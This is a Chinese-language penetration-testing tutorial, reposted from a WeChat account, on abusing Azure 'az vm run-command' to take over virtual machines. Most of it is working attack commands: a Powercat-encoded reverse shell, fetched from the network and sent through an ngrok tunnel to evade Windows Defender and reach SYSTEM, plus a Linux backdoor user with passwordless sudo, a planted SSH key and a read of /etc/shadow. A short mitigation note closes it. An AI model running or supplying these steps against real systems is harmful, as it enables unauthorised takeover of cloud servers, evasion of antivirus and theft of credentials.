总结
在本文中,我将向您展示如何使用 Azure“vm run-command”来获取对 Azure 虚拟机的(反向)shell 访问权限。
免責聲明
本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。
详
Microsoft Azure“az vm run-command”允许您获得对虚拟机的控制台访问权限,而无需使用管理员密码或私有 SSH 密钥。具有“虚拟机参与者”角色的 Azure 管理员有权执行“vm run command”。默认情况下,Azure“vm run-command”以 Windows 本地系统帐户或 Linux root 帐户身份运行命令。
为什么这很有用?
首先,它充当恢复机制。失去管理访问权限的管理员仍然可以登录到相应的虚拟机。
此外,在渗透测试作业中,您可以检查给定的权利是否过于宽泛。被测账户可能被授予了比预期更多的权限。这可能会导致横向移动。
POC 由 3 台计算机组成:Azure 云虚拟机 01(默认 Azure 预置的 Windows Server 2022)、Azure 云虚拟机 02(默认 Azure 预置的 Linux Ubuntu 18.04 LTS)和攻击者(Kali Linux 2023.1 版本)。
在接下来的部分中,我将使用“az vm run-command”演示两种场景:
- Windows 场景:包括 Windows Defender 绕过的反向 shell(Powercat 编码的负载)
- Linux 场景:SSH 绑定 shell
对于 Windows 方案,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者的系统之间设置 VPN 隧道。来自 Windows 目标系统的出站流量将通过 ngrok VPN 隧道路由,最后路由到 Kali 系统。因此,请务必提前征得许可,这(ngrok 用法)是否属于 “参与规则” 。这个 sceario 很有用,因为目标系统在公共 IP 广告上没有入站访问权限。
在 Linux 场景中,我们不会使用反向 shell,但会使用内置的 SSH 访问。但是,仅当目标虚拟机公开具有入站 SSH 访问权限的公有 IP 地址时,此方案才有效。否则,也可能出现反向 shell 方案。例如,在 Linux 上,您可以使用 Python 或 Bash 负载与攻击者计算机上的侦听器建立连接。
POC;Windows 反向 shell
首先(步骤 1 到 9)我们将准备我们的 Kali Linux 系统:
- 安装 ngrok
- 在 ngrok 注册帐户
- 安装 Docker
- 下载 Azure-cli Docker 映像
- 在攻击者计算机 Kali Linux 上执行
cd /tmp
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
sudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz
sudo chown -R root:root /tmp/ngrok
sudo mv /tmp/ngrok /usr/local/bin
ngrok version
2. 在攻击者机器 Kali Linux 上执行
获取临时电子邮件地址以注册 ngrok.io。您可以获得一个 10 分钟的邮箱,其中包含 https://www.minuteinbox.com/
3. 在攻击者机器 Kali Linux 上执行
使用临时电子邮件地址注册 ngrok。导航到 https://dashboard.ngrok.com/signup
提供以下信息:
姓名:<您的真实姓名或假姓名>
电子邮件:<your-email>@meantodeal.com
密码:<YourPassword>
4. 在攻击者机器 Kali Linux 上执行
不要忘记验证您的电子邮件地址以进行 ngrok.com
5. 在攻击者机器 Kali Linux 上执行
在 https://dashboard.ngrok.com/get-started/setup 中,复制并粘贴 ngrok API 令牌。
5. 在攻击者机器 Kali Linux 上执行
安装 ngrok API 密钥。
ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>
Install Azure CLI tool om Docker
Microsoft 提供了 Azure cli-tool (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-linux?pivots=apt) 的分步安装。安装后,一切似乎都很好,直到我运行 Azure vm 命令。我的屏幕上显示以下错误消息:
ValueError:API 版本 2022–11–01 没有操作组“virtual_machines”
我决定继续使用 az 工具的 docker 版本。
7. 在攻击者机器 Kali Linux 上执行
自选;删除旧版本的 Docker。我们的 Kali 系统包括 Docker.io(企业版)的安装。
sudo apt remove docker docker-engine docker.io containerd runc
8. 在攻击者机器 Kali Linux 上执行
现在,安装 Docker 社区版(参见 https://www.kali.org/docs/containers/installing-docker-on-kali/)
# add docker repro
printf '%sn' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list
# add key for docker repro
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg
# install docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
8. 在攻击者机器 Kali Linux 上执行
启动 Docker 引擎服务。
sudo service docker start
sudo service docker status
9. 在攻击者机器 Kali Linux 上执行
根据 https://hub.docker.com/_/microsoft-azure-cli 安装 docker Azure-cli 映像。我们将使用主机系统上的 /tmp 目录创建映射。
sudo docker run -v /tmp/:/tmp -it mcr.microsoft.com/azure-cli
我们已经完成了准备工作。我们可以继续我们的 PoC 并使用 Azure-cli 工具执行 Azure 命令。
10. 在攻击者计算机上的 Azure-cli docker 容器内执行
使用 Azure 帐户(虚拟机参与者)登录。此帐户应具有“虚拟机参与者”角色或更高级别。
az login -u $azuser -p "$azpassword"
11. 在攻击者计算机上执行,在 Azure-cli docker 容器内
列出可用的虚拟机,包括 VM 名称、资源组和操作系统。
az vm list --query "[].{vmName:name, ResourceGroup:resourceGroup,os:storageProfile.imageReference.offer, version:storageProfile.imageReference.sku}" -o table
在下一部分中,我将使用变量 $MyWindowsVMname、$MyLinuxVMname 和 $MyResourceGroup 来引用虚拟机名称和资源组。
12. 在攻击者计算机上执行,在 Azure-cli docker 容器内
选择要操作的 Windows VM(VmName 列)。使用 az vm run-command 启用 PowerShell 远程处理:
# enable PowerShell remoting
az vm run-command invoke --name $MyWindowsVMname -g $MyResourceGroup --command-id EnableRemotePS
13. 在攻击者计算机上执行,在 Azure-cli docker 容器内
使用 az vm run-command 执行命令类型 C:Windowswin.ini。
az vm run-command invoke --command-id RunPowerShellScript --name $MyWindowsVMname -g $MyResourceGroup --script 'type C:Windowswin.ini'
14. 在攻击者机器 Kali linux 上执行
打开一个新的终端选项卡并重命名为 “NGROK”。设置映射到本地端口 443 的 ngrok 隧道。
# Kali: ngrok tcp tunnel
ngrok tcp 443
15. 在攻击者机器 Kali linux 上执行
打开一个新的终端选项卡并重命名为 “Netcat listener”。设置与 ngrok 映射(端口 443)对应的 netcat 侦听器。
# Kali: netcat tcp listener
nc -nlvp 443
16. 在攻击者机器 Kali linux 上执行
打开一个新的终端选项卡。创建 Powercat 编码反向 shell 代码,这将绕过 Windows Defender 保护。将 ngrok 隧道详细信息 (server:port) 用于变量 LHOST 和 LPORT。这将生成有效负载文件 /tmp/shell-443.txt(可在 Kali 和 Azure Docker 容器中访问)。
# Kali: create encoded powercat code
LHOST=6.tcp.ngrok.io
LPORT=10574
rshell=shell-443.txt
pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /tmp/$rshell
17. 在攻击者计算机上的 Azure-cli docker 容器内执行
返回到 docker container terminal 选项卡。使用 az vm run-command 对编码的 Powercat 有效负载执行 PowersShell。
# Azure VM: vm execute powercat code
code=$(cat /tmp/shell-443.txt)
az vm run-command invoke --command-id RunPowerShellScript --script "iex 'powershell -E $code'" --name $MyWindowsVMname -g $MyResourceGroup
请注意 State:它保持为 'Running'。这意味着命令正在执行,而反向 shell 正在等待。
18. 在攻击者计算机上执行,在 Azure-cli docker 容器内
检查 netcat 终端选项卡。你将看到与目标 Azure Windows 服务器的反向 shell 连接。
shell 作为 Local System!
POC;Linux ssh 外壳
如前所述,我们不在 Linux 方案中使用 ngrok。在此方案中,我们有一台 Linux 计算机,可通过 SSH 访问公有 IP 地址。筛选通常基于源 IP 地址。我们将使用 Ubuntu 计算机对公有 IP 地址进行入站 SSH 访问。
19. 在攻击者机器 Kali Linux 上执行
可选:在 Kali 计算机上生成 SSH 密钥。
ssh-keygen
cat $HOME/.ssh/id_rsa.pub
20. 在攻击者计算机上执行,在 Azure-cli docker 容器内
使用 az vm run-command 执行 “id;whoami”。
az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts "id;whoami"
注意:命令以 'root' 身份执行
21. 在攻击者机器上的 Azure-cli docker 容器内执行
使用 az vm run-command 检查 ssh 服务是否正在运行。
az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'service sshd status'
22. 在攻击者计算机上执行,在 Azure-cli docker 容器内
使用 az vm run-command 检索虚拟机公共 IP 地址。
az vm show --name $MyLinuxVMname --resource-group $MyResourceGroup -d --query publicIps -o tsv
23. 在攻击者机器上的 Azure-cli docker 容器内执行
使用 az vm run-command 创建新用户并将该用户添加到 sudoers 组。
# create new user in sudoers group
az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'useradd -m pentesternwh; usermod -aG sudo pentesternwh'
24. 在攻击者计算机上执行,在 Azure-cli docker 容器内
使用 az vm run-command 使用户能够在没有密码的情况下执行所有 sudo 命令。
az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --script 'echo "pentesternwh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers'
25. 在攻击者机器上执行,Kali 攻击者机器
将 SSH 公钥复制到 /tmp 目录(可从 Docker 容器中访问)
# copy ssh public key to home dir
cat $HOME/.ssh/id_rsa.pub > /tmp/ssh_public_key.txt
26. 在攻击者计算机上的 Azure-cli docker 容器内执行
使用 az vm run-command 为攻击者用户创建一个 .ssh 目录,包括攻击者的公钥 ($HOME/.ssh/authorized_keys)。
# push the ssh public key
ssh_key=$(cat /tmp/ssh_public_key.txt)
az vm run-command create --resource-group "$MyResourceGroup" --vm-name "$MyLinuxVMname" --run-command-name "MyCommand" --async-execution false --run-as-user "pentesternwh" --script "mkdir -p /home/pentesternwh/.ssh/; echo $ssh_key > /home/pentesternwh/.ssh/authorized_keys"
27. 在攻击者机器上执行,Kali 攻击者机器
使用 ssh 以新用户身份登录。
ssh pentesternwh@1.2.3.247
我们已登录!
28. 在云服务器上执行 02.
检查 sudo 权限。
sudo cat /etc/shadow
缓解
“az vm run-command”是 Azure 管理工具集 (https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command) 的一部分。角色可能配置错误。
问问自己:
- 此用户是否真的需要 Azure“虚拟机参与者”角色?
- Azure“虚拟机参与者”的当前范围是什么?
您应该评估用户角色分配。
引用
https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command
https://ngrok.com/
其它课程
QT开发底层原理与安全逆向视频教程(2024最新)
linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows恶意软件开发与对抗视频教程
-
-
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
-
原文始发于微信公众号(安全狗的自我修养):反向shell 作为 Azure VM 的本地系统用户或root用户
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论